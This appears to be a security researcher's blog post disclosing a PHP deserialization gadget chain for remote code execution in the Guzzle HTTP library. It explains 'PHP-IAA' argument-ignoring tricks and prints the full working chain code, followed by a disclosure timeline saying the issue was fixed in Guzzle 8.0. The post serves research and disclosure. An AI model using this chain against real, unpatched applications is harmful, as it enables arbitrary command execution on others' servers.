Re-introducing several PHP tricks and a new gadget chain for Guzzle ...


Draft Edit Publish Date
Category Security Difficulty level Easy Reading time 11 minutes

Disclaimer:
βœ— This information is provided "AS IS" and without warranty.
βœ— We DO NOT take any responsibility for any misuse of this article, and this information is shared solely for scientific and educational purposes.
Agreement:
βœ“ By reading this article, you agree to use the information provided only for legitimate purposes (such as legal penetration testing, bug bounty, etc.).
βœ“ For emphasis: By reading this article, you agree to never use the information provided for illegal, illegitimate, or malicious purposes.

(Re?)-introducing several PHP tricks


Trick #1: PHP-IAA

PHP and some other languages (JavaScript, …) are not strict on arguments count for user defined functions/methods, but are strict on arguments count for build-in functions/methods.

The minimum number of arguments to call a “user defined” function/method is the number of required parameters and a user can call it with the minimum arguments or more. Please note that the data type of arguments and (required) parameters must be matched, but for additional arguments is not necessary because there is no parameter to be matched. PHP team knows that and they don’t want to solve the problem. [RFC:strict_argcount]

I named this behavior "Ignoring Additional Arguments" or "PHP-IAA". This behavior allows us to use it as a very useful trick.

e.g.: For a function like that:

function printHello()
{
  echo "Hello!";
}

The function is callable with 0, 1, 2 or more arguments, without any warning or notice.

printHello();                       // Displays "Hello!" without any notice/warning/error.

printHello("arg1");                 // Displays "Hello!" without any notice/warning/error.

printHello("arg1", "arg2");         // Displays "Hello!" without any notice/warning/error.

printHello("arg1", "arg2", "arg3"); // Displays "Hello!" without any notice/warning/error.

...                                 // Displays "Hello!" without any notice/warning/error.

Also in an arbitrary function call with a specific number of arguments, it can be replaced with another user-defined function/method that has fewer parameters.

e.g.:

$func($arg1, $arg2);

Can be used to call a user-defined function with 2 or 1 or 0 parameter(s).

Tip:

Parameter-less [user-defined] functions/methods are the best options to use with PHP-IAA trick.

  • It’s possible to call them with any number of arguments. (Almost always)
  • There is no parameter, and there is no need to worry about data type issues.
  • There is no parameter, and there is no need to worry about what happens to a parameter inside a function/method … (context dependent)

Note:

  • PHP-IAA trick works on PHP 4, 5.x, 7.x, 8.x.
  • PHP-IAA trick is simple and easy.

Tip:

  • To call Build-in functions/methods, sometimes a combination of call_user_func and call_user_func_array is useful.
  • The above tip is also useful for user-defined functions/methods specially when you have problem with default values of parameters.

Let’s use the trick practically …

Guzzle


“Guzzle is a PHP HTTP client that makes it easy to send HTTP requests and trivial to integrate with web services.” source

According to Packagist statistics, Guzzle is the eighth most popular library (Total installs) and has been installed more than 1,000,000,000 times to date.

The list of some dependents can be found at this link, e.g.: Drupal, Laravel, Magento2, typo3/cms-core, shopware/core, craftcms/cms, aws/aws-sdk-php, google/auth, google/cloud, microsoft/azure-storage-common, shopify/shopify-api, ovh/ovh, some popular Wordpress plugins (For e.g.: Yoast SEO is the #2nd most popular plugin for Wordpress) and more …

Since the end of 2018 (more than 7 years ago), no RCE GC for Guzzle has been [publicly] available; During these years, only one File-Write GC was available, which had limitations in the operational environments.

Some of the limitations of File-write GCs:


  1. If the gadget starts from __destruct magic method, probably the problem of absolute path can occur.

  2. The path MUST be writable.

  3. The path MUST be accessible. (directly or indirectly via loader or …).

  4. The file name extension MUST be .php or …

  5. The file content may be blocked by WAF.

  6. An anti-shell may remove it, if present.

In these cases, a direct RCE is usually better.

Gadget Chain - Step by Step


πŸ”—
  class FileCookieJar extends CookieJar
  {
    /**
     * @var string filename
     */
    private $filename;

    ...
    
    public function __destruct()
    {
      $this->save($this->filename);
    }

    ...
    
    public function save(string $filename): void
    {
      $json = [];
      
    ...

Line #15: $filename property hasn’t any type. Did they forget it?! (No, Backward-compatibility)


Line #47: The destructor will call save method.


Line #57: Data-type of the only parameter of save method is string.

This means it’s possible to assign an object to $filename and when its (FileCookieJar) destructor will be called, PHP will try to convert the object to string and __toString() method of the object will be called. Now the question is which class is suitable?

A useful class:

πŸ”—
final class PumpStream implements StreamInterface
{
  ...

  public function __toString(): string
  {
    try {
      return Utils::copyToString($this);
    }
  ...

The source code of Utils::copyToString() …

πŸ”—
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
  public static function copyToString(StreamInterface $stream, int $maxLen = -1): string
  {
    $buffer = '';

    if ($maxLen === -1) {
      while (!$stream->eof()) {
        $buf = $stream->read(1048576);
        if ($buf === '') {
            break;
        }
        $buffer .= $buf;
      }

      return $buffer;
    }

    ...
  }

The source code of read() method in PumpStream class:

πŸ”—
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
    public function read($length): string
    {
        if (!\is_int($length)) {
            \trigger_deprecation(
                'guzzlehttp/psr7',
                '2.11',
                'Passing %s to StreamInterface::read() is deprecated; guzzlehttp/psr7 3.0 requires int for $length.',
                \get_debug_type($length)
            );
        }

        $data = $this->buffer->read($length);
        $readLen = strlen($data);
        $this->tellPos += $readLen;
        $remaining = $length - $readLen;

        if ($remaining) {
            $this->pump($remaining);
            $data .= $this->buffer->read($remaining);
            $this->tellPos += strlen($data) - $readLen;
        }

        return $data;
    }

Line #170: We will set $buffer property to an instance of BufferStream; Its read method can return a string to keep the program running. [source]


Line #176: pump method will be called.

πŸ”—
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
  private function pump(int $length): void
  {
    if ($this->source !== null) {
      do {
        $data = ($this->source)($length);
        if ($data === false || $data === null) {
          $this->source = null;

          return;
        }
        $this->buffer->write($data);
        $length -= strlen($data);
      } while ($length > 0);
    }
  }

Line #219: $source property value will be used to call with an integer argument.

PHP-IAA trick is useful here to call a suitable method/function with 1 or 0 parameter.

πŸ”—
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
  public function resolve(): callable
  {
    if ($this->cached === null) {
      if (($prev = $this->handler) === null) {
        throw new \LogicException('No handler has been specified');
      }

      foreach (\array_reverse($this->stack) as $fn) {
        /** @var callable(RequestInterface, array): PromiseInterface $prev */
        $prev = $fn[0]($prev);
      }

      $this->cached = $prev;
    }

    return $this->cached;
  }

Line #216: resolve method is parameter-less and must return a callable.


Line #219: $prev value will be set from $this->handler and we can control it.


Line #225: $prev=$fn[0]($prev); is an arbitrary function call in a loop and the result of the function call will be used for the next function call as an argument. (function composition)

Here we can call system("id"); or another arbitrary function. After the function call, we will face three problems that we need to find solutions for:

As told above, for the next iteration, the result of the previous function call will be used as argument and we CAN NOT GUESS the result of some function calls. (e.g.: reading a file content …); A solution is something like that: system("command; echo the_value_we_want"); but it’s not good enough; In a hardened environment, system and other related functions are disabled and we can’t use them.

Trick #2: PHP-IAA-RDV
Is there a function/method that accepts any value as an argument and returns what we want?

It’s PHP and almost everything is possible. By using PHP-IAA trick and calling a getter (or non-standard getter) method, we can ignore the argument(s) and return a desired value from a property.

Note:

  • getters or non-standard getters are (almost) parameter-less methods.
  • __toString() method is (sometimes, almost) a getter.

When we encounter a complex object, array, or unwanted value as argument(s), PHP-IAA trick is useful to ignore it(them) and return a desired value. I named this trick PHP-IAA-RDV (Ignoring Additional Arguments - Returning a Desired Value), which is a special case of PHP-IAA.

By using the trick, we will fill $prev with our arbitrary value to be used as an argument for the next function call.

Trick #3: PHP-ISCE

To stop a running code, we can use set_exception_handler function and trigger it by calling a non-existent function.

I named this trick "Intentional Stopping of Code Execution" or "PHP-ISCE".

  • PHP-ISCE trick works on PHP 7.x and 8.x.

  • If __toString() is used while PHP-ISCE is being used, it will work on PHP >= 7.4.

    • For PHP <= 7.3 throwing an exception from __toString() is not allowed.

Exploiting function composition


The numbers indicate the n’th iteration in the loop.

  1. Arbitrary function call with arbitrary argument.
    • If you DON’T need a clean exit, other steps are NOT necessary.
  2. Call a getter (PHP-IAA again) to fill $prev with is_int or other suitable method/function.
  3. Call set_exception_handler("is_int"). This will set is_int function as an exception handler. (PHP-ISCE)
  4. Call a non-existent function (like "1") to trigger the exception handler and stop the execution. (PHP-ISCE)
    • Completely clean exit: (PHP >= 7.4)
      • Without any notice/warning/error.
      • Without any file creation.
      • Without printing any unwanted string in the output after it.
    • (PHP <= 7.3)
      • Will work but after a successful execution, an error will occur. (PHP <= 8.1 have reached end of life.)

β€ŒI’ll share another version of this GC that works on all PHP versions without any error/warning/notice.

Other technical details:


The initial stage was known for years and had used in Guzzle/FW1 to write a shell file. (By Charles Fol)

The resolve method also was known and had used in Guzzle/RCE1 to simply call a function. (By Charles Fol and Rodrigo Nas)

Note: Even without using resolve method, by doing a few changes we can use the GC again. The new trick will be explained in another blog post.

Note: Since November 2018, Guzzle/RCE1 has not worked. (Was a dead POP chain)

Guzzle RCE GC


chain.php:

<?php

namespace GadgetChain\Guzzle;

class RCE2 extends \PHPGGC\GadgetChain\RCE\FunctionCall
{
  public static $version = '6.x, 7.x';
  public static $vector = '__destruct';
  public static $author = 'mir-hossein (Mirhossein Rahmani)';
  public static $information = 'This GC has been provided to demonstrate PHP-IAA trick. Please use it only for educational purposes or legal pentest.';

  public function generate(array $parameters)
  {
    $function = $parameters["function"];
    $parameter = $parameters["parameter"];
         
    return new \GuzzleHttp\Cookie\FileCookieJar($function, $parameter);
  }
}

gadgets.php:

<?php
namespace GuzzleHttp {
  class HandlerStack {
    private $handler;
    private $stack;
    
    public function __construct($function, $parameter) {
      $this->handler = $parameter;
      $this->stack = [
        ["1"],
        ["set_exception_handler"],
        [
          [
            new \GuzzleHttp\Psr7\BufferStream('is_int'),
            "__toString"
          ]
        ],
        [$function]
      ];
    }
  }
}

namespace GuzzleHttp\Psr7 {
  class PumpStream {
    private $source;
    private $buffer;
    
    public function __construct($function, $parameter) {
      $this->buffer = new BufferStream('');
      $this->source = [
        new \GuzzleHttp\HandlerStack($function, $parameter),
        "resolve"
      ];
    }
  }
  
  class BufferStream {
    private $buffer;
    
    public function __construct($value) {
      $this->buffer = $value;
    }
  }
}

namespace GuzzleHttp\Cookie {
  class FileCookieJar {
    private $filename;

    public function __construct($function, $parameter) {
      $this->filename = new \GuzzleHttp\Psr7\PumpStream($function, $parameter);
    }
  }
}

The GC will be available in PHPGGC soon. To access it before that you can use this link. (Check branches)

  • This GC could be minimized, but I avoided it to keep the explanation simpler.

Timeline


Date Description
20??-???-?? The GC was found. (I don't remember when, but it was years ago.)
2025-Jul-15 Reported to Guzzle team via Tidelift/Sonarsource.
2026-May-22 Reported to Guzzle team again. (No answer after 10 months.)
2026-Jun-9 Reported to the maintainer. (Third time)
2026-Jun-10

It appeared that they hadn’t accepted my report. However, their approach to other similar reports was different (IMO). See PSR7 PR #165, PR #3286, PR #3326 and PR #3334. But … πŸ‘‡

2026-Jun-10 They made the changes that had been recommended to them in the email, though they hadn’t accepted the report. PR 3618 and PR 786.
2026-Jun-10 They have given their approval to publish this blog post.
2026-Jun-10 I decided to postpone publishing the article until the update is released.
2026-Jul-20 Guzzle 8.0 was released. πŸŽ‰
2026-Oct-22 Blog post was published.

Recommendation


Please read my next blog post; I will use another native PHP behavior to bypass __wakeup in FnStream class to introduce a new RCE GC for Guzzle.

Conclusion


PHP-IAA is based on a native PHP behavior and will NOT be fixed in the near future. This trick is NOT limited to deserialization only and has broader applications.

Please use it only for good purposes. I shared it to inform defensive teams and to document the trick, NOT to annoy people.

Most PHP developers know about PHP-IAA; This blog post only shows the security aspect of an obvious concept by demonstrating a new RCE GC for a popular library with over 1,000,000,000 installs after +7 years.

The issue (POP chain) has been solved on Guzzle 8.0. I’m happy that I was able to take even a small step toward improving the security of this library.

This blog post is part of a larger research project. More articles will be published gradually.

I plan to publish a GC for Monolog that uses PHP-IAA-RDV trick at the same time as this article is published. (Based on my old GC Monolog/RCE9)


Comments/Questions


If you have any questions, please use this link to submit them.